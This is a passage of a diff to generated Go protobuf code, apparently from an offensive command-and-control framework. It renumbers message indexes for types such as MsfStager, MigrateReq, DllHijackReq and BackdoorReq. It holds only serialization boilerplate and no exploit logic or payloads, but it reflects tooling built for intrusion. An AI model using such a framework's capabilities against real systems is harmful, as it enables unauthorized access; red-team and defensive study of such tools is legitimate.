([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *MsfStagerReq) GetArch() string { @@ -5465,7 +5615,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5478,7 +5628,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5491,7 +5641,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5517,7 +5667,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5530,7 +5680,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5543,7 +5693,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5584,7 +5734,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5597,7 +5747,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5610,7 +5760,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *MigrateReq) GetPid() uint32 { @@ -5653,7 +5803,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5666,7 +5816,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5679,7 +5829,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5701,7 +5851,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5714,7 +5864,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5727,7 +5877,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5756,7 +5906,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5769,7 +5919,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5782,7 +5932,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -5814,7 +5964,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5827,7 +5977,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5840,7 +5990,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -5882,7 +6032,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5895,7 +6045,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5908,7 +6058,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -5932,7 +6082,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5945,7 +6095,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5958,7 +6108,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *Client) GetID() uint32 { @@ -5998,7 +6148,7 @@ type Event struct { func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6011,7 +6161,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6024,7 +6174,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *Event) GetEventType() string { @@ -6081,7 +6231,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6094,7 +6244,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6107,7 +6257,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *Operator) GetOnline() bool { @@ -6139,7 +6289,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6152,7 +6302,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6165,7 +6315,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *WebContent) GetPath() string { @@ -6208,7 +6358,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6221,7 +6371,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6234,7 +6384,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *WebsiteAddContent) GetName() string { @@ -6263,7 +6413,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6276,7 +6426,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6289,7 +6439,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *WebsiteRemoveContent) GetName() string { @@ -6318,7 +6468,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6331,7 +6481,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6344,7 +6494,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *Website) GetName() string { @@ -6372,7 +6522,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6385,7 +6535,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6398,7 +6548,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *Websites) GetWebsites() []*Website { @@ -6422,7 +6572,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6435,7 +6585,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6448,7 +6598,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6495,7 +6645,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6508,7 +6658,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6521,7 +6671,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *Loot) GetID() string { @@ -6577,7 +6727,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6590,7 +6740,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6603,7 +6753,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *AllLoot) GetLoot() []*Loot { @@ -6627,7 +6777,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6640,7 +6790,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6653,7 +6803,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *IOC) GetPath() string { @@ -6688,7 +6838,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6701,7 +6851,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6714,7 +6864,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *ExtensionData) GetOutput() string { @@ -6741,7 +6891,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6754,7 +6904,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6767,7 +6917,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *Host) GetHostname() string { @@ -6830,7 +6980,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6843,7 +6993,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6856,7 +7006,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *AllHosts) GetHosts() []*Host { @@ -6883,7 +7033,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6896,7 +7046,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6909,7 +7059,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -6965,7 +7115,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6978,7 +7128,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6991,7 +7141,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -7014,7 +7164,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7027,7 +7177,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7040,7 +7190,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *BackdoorReq) GetFilePath() string { @@ -7075,7 +7225,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7088,7 +7238,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7101,7 +7251,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() 